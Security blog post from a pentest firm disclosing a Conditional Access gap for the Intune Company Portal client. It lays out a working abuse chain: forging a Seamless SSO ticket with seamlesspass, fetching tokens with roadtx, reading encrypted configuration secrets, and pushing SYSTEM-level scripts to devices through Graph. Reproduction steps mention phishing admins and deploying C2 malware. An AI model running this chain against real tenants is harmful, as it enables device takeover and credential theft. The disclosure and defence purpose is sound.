Vulnerability Breakdown: Microsoft Intune CA bypass
> News and Events > Vulnerability Breakdown: Microsoft Intune CA bypass
While working on a pentest for a client I discovered a way to authenticate to the Intune Company Portal (client id 9ba1a5c7-f17a-4de9-a1f1-6178c8d51223) without MFA. Seeing the Intune Company Portal listed with Conditional Access (CA) bypasses did not make it seem like a huge deal immediately, but receiving an admin token always piques my interest. Searching the web did not result in any earlier research abusing this token and the CA bypass, so it was time to dive in a bit deeper.
Making the step from the on-premise to the environment to the Azure tenant is not always trivial, especially since Microsoft has shifted their focus to a more secure environment. MFA enforced by default and limitation of the SYNC account permissions contribute to the security of a hybrid environment. One point of entry, after having compromised an on-premise Active Directory (AD), is through the use of compromised credentials or Seamless SSO. While low privileged users do not always require MFA, users with administrative permissions are often configured more strictly making it more difficult to authenticate as these users.
There are a lot of resources that can assist a pentester during these endeavors. ROADrecon allows a low privileged user to enumerate Conditional Access Policy (CAP) using the internal Windows Graph API. Additionally, research like FOCI and EntraScope help you in searching the correct configuration for you access token and how to request it.
Creating the token
An access token was created for a user with the Intune Administrator role. These roles were permanently assigned in this tenant, instead of using PIM. Even with a full AD compromise we were not able to retrieve the plaintext password of a user with the Intune Administrator role. But because Seamless SSO was configured in the environment I was able to create an access token for the user without knowing the password:
$ seamlesspass -tenant [REDACTED].onmicrosoft.com -adssoacc-ntlm [REDACTED]-c 9ba1a5c7-f17a-4de9-a1f1-6178c8d51223 -r 00000003-0000-0000-c000-000000000000-user-sid S-1-5-21-1399797546-2057206242-2332248443-1234 _____ _ _____ / ____| | | | __ \ v(0.0.1) | (___ ___ __ _ _ __ ___ | | ___ ___ ___| |__) |_ _ ___ ___ \___ \ / _ \/ _` | '_ ` _ \| |/ _ \/ __/ __| ___/ _` / __/ __| ____) | __/ (_| | | | | | | | __/\__ \__ \ | | (_| \__ \__ \ |_____/ \___|\__,_|_| |_| |_|_|\___||___/___/_| \__,_|___/___/ By Abood Nour (@0xSyndr0me) - Malcrove (https://malcrove.com/) Leveraging Kerberos tickets to get cloud access tokens using Seamless SSO [+] Seamless SSO is enabled for [REDACTED].onmicrosoft.com [+] Forged TGS for dummy_user - 1234 [+] Got Desktop SSO login token [+] Got access token token_type : Bearer scope : Device.Read.All DeviceManagementConfiguration.Read.AllDeviceManagementConfiguration.ReadWrite.AllServicePrincipalEndpoint.Read.All User.Read expires_in : 3740 ext_expires_in : 3740 expires_on : 1754662172 not_before : 1754658131 resource : 00000003-0000-0000-c000-000000000000 access_token : eyJ0e[...]GdYw refresh_token : 1.AR8[...]2cuw foci : 1
The token returned a number of scopes, of which DeviceManagementConfiguration.ReadWrite.All seemed particularly interesting. Microsoft offers a lot of documentation regarding the API, but these scopes can not easily be navigated. Fortunately for us, someone has already done the work and listed what we can use this scope for.
(Ab)using the token
With that access token in the pocket it was time to put the theory to practice. Inspecting the permission overview a number of API calls stood out. First, the device configuration was read from Intune:
GET /beta/devicemanagement/deviceConfigurations
Authorization: Bearer eyJ0e[...]GdYwThe API responded with a large list of configurations of which an excerpt is shown below:
{ "@odata.context": "https://graph.microsoft.com/beta/ $metadata#deviceManagement/deviceConfigurations", "value": [ { "@odata.type": "#microsoft.graph.windowsUpdateForBusinessConfiguration", "id": "746309f2-d3d3-4784-9b52-189eddf37880", "lastModifiedDateTime": "2023-11-10T13:05:52.1022866Z", "roleScopeTagIds": [ "0" ], "supportsScopeTags": true, "deviceManagementApplicabilityRuleOsEdition": null, "deviceManagementApplicabilityRuleOsVersion": null, "deviceManagementApplicabilityRuleDeviceMode": null, "createdDateTime": "2023-07-20T11:34:07.3894726Z", "description": "", "displayName": "BIOS Updates via Windows Update", "version": 7, "deliveryOptimizationMode": "userDefined", "prereleaseFeatures": "userDefined", "automaticUpdateMode": "autoInstallAndRebootWithoutEndUserControl", [...] { "@odata.type": "#microsoft.graph.windows10CustomConfiguration", "id": "0cf2d582-801c-4179-8ae7-375e79602ef2", "lastModifiedDateTime": "2023-01-18T15:13:36.4986896Z", "roleScopeTagIds": [ "0" ], "supportsScopeTags": true, "deviceManagementApplicabilityRuleOsEdition": null, "deviceManagementApplicabilityRuleOsVersion": null, "deviceManagementApplicabilityRuleDeviceMode": null, "createdDateTime": "2022-12-07T15:35:06.0936349Z", "description": "This will set the public wifi access for the Ctouch", "displayName": "Device - CTOUCH - Custom - WiFi Public settings", "version": 3, "omaSettings": [ { "@odata.type": "#microsoft.graph.omaSettingString", "displayName": "CLIENT", "description": "CLIENT Public WiFi", "omaUri": "./Vendor/MSFT/WiFi/Profile/CLIENT/WlanXml", "secretReferenceValueId": "0d63[REDACTED]e673", @@"isEncrypted": true, "value": "* * * *"@@ } ] },[...]
Now, the most interesting about this is that an access token for a user can still GET this information when the role is not activated in PIM. Digging one step deeper, it was possible to access the encrypted value with the following API call:
GET /beta/devicemanagement/ deviceConfigurations/0cf2d582-801c-4179-8ae7-375e79602ef2/getOmaSettingPlainTextValue(secretReferenceValueId='0d63[REDACTED]e673Authorization: Bearer eyJ0e[...]GdYw { "@odata.context": "https://graph.microsoft.com/beta/ $metadata#Edm.String", "value": "<?xml version=\"1.0\"?>\n<WLANProfile xmlns=[REDACTED]></ WLANProfile>" }
It was possible to read the secrets from the configuration with the access token. The access token for an eligible admin no longer returned any results, instead a forbidden error message was received.
"error": { "code": "Forbidden", "message": "{\r\n \"_version\": 3,\r\n \"Message\": \"User is not authorized to perform this operation - [...]
Unfortunately the configured policies did not contain any credentials or secrets that would help with escalation during the assessment. Back to the huge list of API endpoints to scan them for useful calls. Some endpoints were not available within the current scope of the token, such as application management endpoints, resulting in a 403 Forbidden.
"error": { "code": "Forbidden", "message": "{\r\n \"_version\": 3,\r\n \"Message\": \"Application is not authorized to perform this operation.Application must have one of the following scopes: DeviceManagementApps.Read.All, DeviceManagementApps.ReadWrite.All- Operation ID (for customer support): 00000000-0000-0000-0000-000000000000 - Activity ID: f7751464- f465-4731-8e89-5f2637ab1f20 -[...]
Next, a list of Intune device scripts was requested. Multiple endpoints were available, such as deviceManagementScripts, deviceComplianceScripts and deviceShellScripts among others.
DeviceShellScripts were requested from the API, but returned no results. Which was still a nice surprise considering it was not an unauthorized error. The deviceManagementScripts endpoint returned scripts in use at the client. The following API call was used:
GET https://graph.microsoft.com/beta/devicemanagement/
deviceManagementScripts
Authorization: Bearer eyJ0e[...]GdYwThe server responds with a list of deviceManagementScripts, of which one is shown as an example:
{
"@odata.context": "https://graph.microsoft.com/beta/
$metadata#deviceManagement/deviceManagementScripts",
"value": [
{
"enforceSignatureCheck": false,
"runAs32Bit": false,
"id": "0d0399c8-c3f1-4c14-bda3-0062e1392d9a",
"displayName": "Device - Disable the local storage of passwords
and credentials",
"description": "#Disable the local storage of passwords and
credentials\nreg add \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\LSA\"
/v DisableDomainCreds /t REG_DWORD /d 00000001 /f",
"scriptContent": null,
"createdDateTime": "2023-09-22T13:12:25.7550313Z",
"lastModifiedDateTime": "2023-12-12T15:33:37.9180651Z",
"runAsAccount": "system",
"fileName": "#Disable the local storage of passwords and
credentials.ps1",
"roleScopeTagIds": [
"0"
]
},
[...]The documentation for creating a new script was opened and the following request was used to create a new deviceManagementScript:
POSThttps://graph.microsoft.com/beta/devicemanagement/ deviceManagementScripts/ Authorization: Bearer eyJ0e[...]GdYw< { "@odata.type": "#microsoft.graph.deviceManagementScript", "enforceSignatureCheck": false, "runAs32Bit": false, "displayName": "BVCScript user", "description": "Bureau Veritas Cyber test userscript", "scriptContent": "d2hvYW1pIHwgb3V0 LWZpbGUgJGVudjpVU0VSUFJPRklMRVxtYW5hZ2V0ZXN0LnR4dA==", "runAsAccount": "user", "fileName": "BVCScript.ps1" }
The scriptContent needs to be submitted in base64, which translates to the following script.
whoami | out-file $env:USERPROFILE\managetest.txt
The server responded with a 200 OK showing the overview of the newly created script.
{ "@odata.context": "https://graph.microsoft.com/beta/ $metadata#deviceManagement/deviceShellScripts", "value": [ { "executionFrequency": "PT0S", "retryCount": 10, "blockExecutionNotifications": true, "id": "5da11b21-f593-4257-a1a8-81eb66b58651", "displayName": "BVCScript user", "description": "Bureau Veritas Cyber test userscript", "scriptContent": null, "createdDateTime": "2025-07-31T08:46:15.7171063Z", "lastModifiedDateTime": "2025-07-31T08:46:15.7171063Z", "runAsAccount": "user", "fileName": "BVCScript.ps1", "roleScopeTagIds": [ "0" ] } ] }
A second script was added where runAsAccount was set to system, which received the ID 49bd3d7a-f402-4498-9ce7-3f83d1b90f8e. The overview of deviceManagementScripts was queried to confirm the creation of both scripts:
{ "@odata.context": "https://graph.microsoft.com/beta/ $metadata#deviceManagement/deviceManagementScripts", "value": [ { "enforceSignatureCheck": false, "runAs32Bit": false, "id": "5da11b21-f593-4257-a1a8-81eb66b58651", "displayName": "BVCScript user", "description": "Bureau Veritas Cyber test userscript", "scriptContent": null, "createdDateTime": "2025-07-31T10:36:44.4851888Z", "lastModifiedDateTime": "2025-07-31T10:36:44.4851888Z", "runAsAccount": "user", "fileName": "BVCScript.ps1", "roleScopeTagIds": [ "0" ] }, { "enforceSignatureCheck": false, "runAs32Bit": false, "id": "49bd3d7a-f402-4498-9ce7-3f83d1b90f8e", "displayName": "BVCScript system", "description": "Bureau Veritas Cyber test systemscript", "scriptContent": null, "createdDateTime": "2025-07-31T10:39:48.9457322Z", "lastModifiedDateTime": "2025-07-31T10:39:48.9457322Z", "runAsAccount": "system", "fileName": "BVCScript.ps1", "roleScopeTagIds": [ "0" ] } [...]
The creation of these scripts was verified in the admin portal.
The creation of the deviceManagementScript was visible in the Intune admin portal
The details of the individual scripts could also be queried, showing the scriptContent.
GET https://graph.microsoft.com/beta/devicemanagement/deviceManagementScripts/49bd3d7a-f402-4498-9ce7-3f83d1b90f8e{ "@odata.context": "https://graph.microsoft.com/beta/$metadata#deviceManagement /deviceManagementScripts/$entity", "enforceSignatureCheck": false, "runAs32Bit": false, "id": "49bd3d7a-f402-4498-9ce7-3f83d1b90f8e", "displayName": "BVCScript user", "description": "Bureau Veritas Cyber test userscript", "scriptContent": "d2hvYW1pIHwgb3V0LWZpbGUgQzpcbWFuYWdldGVzdC50eHQ=", "createdDateTime": "2025-07-31T10:39:48.9457322Z", "lastModifiedDateTime": "2025-07-31T10:39:48.9457322Z", "runAsAccount": "system", "fileName": "BVCScript.ps1", "roleScopeTagIds": [ "0" ] }
The details of the created script in the Intune admin portal
An assignment was required in order for the script to be executed. The user was added to a specific test group and the script was assigned using the object ID of the group:
POST https://graph.microsoft.com/beta/deviceManagement/ deviceManagementScripts/49bd3d7a-f402-4498-9ce7-3f83d1b90f8e/assign{ "deviceManagementScriptGroupAssignments": [ { "@odata.type": "#microsoft.graph.deviceManagementScriptGroupAssignment","id": "49bd3d7a-f402-4498-9ce7-3f83d1b90f8e", "targetGroupId": "f176008f-7040-457d-8ce7-10c456ce134b"} ] }
Now it was a matter of synchronizing the client and playing the waiting game. After an hour or two the client and I started doubting whether the method worked, but eventually Intune decided it was time to execute the script on the device!
Output of the created script was visible showing the output of "whoami"
Great success!
Report to Microsoft
This research was initially submitted to Microsoft as an MFA bypass on the Intune endpoint on August 8th, 2025. They quickly asked for additional details such as correlation IDs from the log. They were collected in collaboration with the client and submitted in the MSRC portal.
After a few weeks Microsoft returned with the message that MFA was not actually bypassed for multiple reasons. With the account actively being used it was possible that the actual user signed in around the same time which resulted in an MFA cooldown grace period. This all meant I had to get back to work and set up an actual test environment for creating the tokens.
Additional research
I double checked the applied CA policies and concluded there is a weakness in the default CA policies, but not necessarily an unconditional MFA bypass. The Microsoft managed policy is insufficient to protect the Intune actions mentioned. Three requests are listed below that show the results of the authentication using the Microsoft managed policy (Multifactor authentication for admins accessing Microsoft Admin Portals):
Role | Target application | Resource | Result |
|---|---|---|---|
Intune admin | Microsoft Intune Company Portal | Microsoft Graph | ✗ No MFA |
Global admin | Microsoft Intune Company Portal | Microsoft Graph | ✗ No MFA |
Global admin | Microsoft Intune Company Portal | Other resources | ✓ MFA |
The Microsoft learn page mentions that Microsoft Intune Admin Center is part of the application group Microsoft Admin Portals. However, these results show that the Microsoft Intune Company Portal is not included and that it's possible to use any admin account for administrative Intune actions with the policy active.
The client did not apply the Microsoft managed CA, but rather applied their custom policy. To test this I have created three custom report-only policies that applied to both Global Admin and Intune Administrators. The target resources and results were as follows:
Applied resources | Result |
|---|---|
All applications | ✓ MFA |
"Microsoft Admin Portals" and "Azure Management API" | ✗ No MFA |
All applications with an exception for "Microsoft Intune" | ✗ No MFA |
The third policy was a direct copy of the policy created by the client, where they had created an exclusion for "Microsoft Intune" resulting in the possibility to generate access tokens for the endpoint.
In order to understand the research of Dirk-Jan Mollema and Fabian Bader, and to see why the listed CA bypass did not apply, a final CA was created that enforced the use of a compliant device. An authentication to the Intune Admin Portal for the Microsoft Graph scope was made:
$ roadtx gettokens-t azuredevsecura.onmicrosoft.com -u 'catest@azuredevsecura.onmicrosoft.com' -p '[REDACTED]' -r 00000003-0000-0000-c000-000000000000-c 9ba1a5c7-f17a-4de9-a1f1-6178c8d51223Requesting token for resource 00000003-0000-0000-c000-000000000000Tokens were written to .roadtools_auth
Access tokens were granted even though the compliant device policy was not fulfilled. To verify the results, an authentication to another endpoint was made:
$ roadtx gettokens-t azuredevsecura.onmicrosoft.com -u 'CAtest@azuredevsecura.onmicrosoft.com' -p '[REDACTED]' -r 00000003-0000-0000-c000-000000000000-c 04b07795-8ddb-461a-bbee-02f9e1bf7b46Requesting token for resource 00000003-0000-0000-c000-000000000000 Error during authentication: AADSTS50005:User tried to log in to a device from a platform (Unknown) that's currently not supported through Conditional Access policy. Supported device platforms are: iOS, Android, Mac, and Windows flavors. Trace ID: 06ae5676-8406-4496-bcb9-538d7afd2f00 Correlation ID: e5641938-c8e7-499d-98f9-e395a60bca27 Timestamp: 2025-09-18 11:20:04Z
The policy was enforced and the user was not allowed to authenticate to the application. The sign-in logs show the following regarding the compliant device bypass:
Sign-in status shows a successful authentication
The log reports the following regarding the CA policy:
Conditional access for the authentication reports failure
The CA is applied, logged as failure but is then set to ``Policy state: Disabled'' and grants the user an access token. This shows that compliant device restrictions on this endpoint are not enforced.
Summary
A discovery during a pentest led me to believe I had discovered a full MFA bypass for the Intune device management API. More research revealed that it was a combination of a user-error on the client side and insecure configuration of the default MFA policy created by Microsoft.
The resource group Microsoft Admin Portals mentions Microsoft Intune admin center but does not include the Microsoft Graph (00000003-0000-0000-c000-000000000000) resource for Microsoft Intune Company Portal (9ba1a5c7-f17a-4de9-a1f1-6178c8d51223).
This means that sensitive administrative actions can be performed when a tenant relies on the default CA policy Multifactor authentication for admins accessing Microsoft Admin Portals or when creating their own policy using this group.
It is still possible to enforce MFA on these sensitive actions using the All resources option or specifying Microsoft Intune.
Steps to reproduce
- Retrieve username and password of an administrator with Intune admin or Global admin role active. This can be done through phishing or searching for leaked credentials.
- Use the stolen credentials to retrieve an access token using ClientID 9ba1a5c7-f17a-4de9-a1f1-6178c8d51223 and resource 00000003-0000-0000-c000-000000000000.
- Alternatively, use on-premise permissions to retrieve the hash of the AZUREADSSOACC and forge a ticket using the Seamless SSO flow for the same client and resource.
- Use the access token to authenticate to https://graph.microsoft.com/beta/deviceManagement.
- Create a new deviceManagementScript containing malicious code, for example execution of C2-malware.
- Assign the new deviceManagementScript to a group that contains users with administrative permissions such as global admin and wait for Intune to execute the script.
Timeline
- 21-25 July - initial assessment
- 31 July - additional research day
- 8 August - initial report to Microsoft
- 12 August - request for more info
- 14 August - additional info supplied
- 3 Sept - reminder sent to Microsoft
- 6 Sept - reply from Microsoft mentioning they don't recognize this as a vulnerability
- 10 Sept - more research done, confirmed there is no full bypass but there is a gap in the default policy
- 18 Sept - confirmed compliant device restrictions are still affected by bypass
- 9 October - reminder sent to Microsoft
- 1 July 2026 - no reply from Microsoft, blog published
Defence
I used to be a big fan of keeping the Microsoft managed policy enabled. This research made me reflect on that, showing that this policy is not fool proof either. Still, I would recommend to keep that policy enabled just because Microsoft is more likely to update their policy when new roles are created or existing ones are changed. Supplementing this policy with your own conditional access to enforce MFA for administrators on all applications helps to cover the gaps mentioned in this blog. Additional requirements, such as compliant device, can then be added to this policy.
During this research I also confirmed that the previously discovered bypass for compliant device on the Intune Company Portal still works. The research from Dirk-Jan Mollema and Fabian Bader mentions how to defend and detect against the compliant device bypass for the Intune endpoint.
Why choose Bureau Veritas Cybersecurity
Bureau Veritas Cybersecurity is your expert partner in cybersecurity. We help organizations identify risks, strengthen defenses and comply with cybersecurity standards and regulations. Our services cover people, processes and technology, ranging from awareness training and social engineering to security advice, compliance and penetration testing.
We operate across IT, OT and IoT environments, supporting both digital systems and connected products. With over 300 cybersecurity professionals worldwide, we combine deep technical expertise with a global presence. Bureau Veritas Cybersecurity is part of the Bureau Veritas Group, a global leader in testing, inspection and certification.